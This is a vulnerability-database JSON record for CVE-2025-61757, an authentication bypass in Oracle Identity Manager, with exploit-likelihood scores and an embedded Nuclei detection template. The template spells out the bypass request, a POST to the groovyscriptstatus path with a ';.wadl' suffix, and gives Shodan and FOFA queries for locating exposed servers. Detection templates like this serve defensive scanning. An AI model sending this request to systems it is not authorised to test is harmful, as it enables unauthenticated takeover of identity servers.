{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-61757/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-61757/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-61757/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-61757/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-61757/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-61757"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-61757"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.88647,
      "kev": true,
      "percentile": 0.99767
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-61757.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-61757\n\ninfo:\n  name: Oracle Identity Manager REST WebServices - Authentication Bypass\n  author: ritikchaddha\n  severity: critical\n  description: |\n    Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.\n  impact: |\n    Allows unauthenticated attacker to fully compromise Oracle Identity Manager via HTTP(S), leading to complete loss of confidentiality, integrity, and availability.\n  remediation: |\n    Apply the latest security updates released by Oracle as referenced in the October 2025 Critical Patch Update.\n  reference:\n    - https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-61757\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-61757\n    epss-score: 0.88647\n    epss-percentile: 0.99768\n    cwe-id: CWE-306\n    cpe: cpe:2.3:a:oracle:identity_manager:12.2.1.4.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: oracle\n    product: identity_manager\n    shodan-query: title:\"oracle access management\"\n    fofa-query: title=\"oracle access management\"\n  tags: cve,cve2025,oracle,identity-manager,auth-bypass,rce,kev,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains(header, \"Oracle\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/plain\")'\n          - 'contains(body, \"Script Compilation Successful\")'\n        condition: and\n# digest: 4a0a00473045022079b1421c50b6c96fcb01d9a73a49f5ccafff116fe9c7cd4a142842dfef383005022100e625c208bc7d5fd5a01a1cdd07dc7e2e221ec3be0961d85f95424056448b8005:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-61757"
}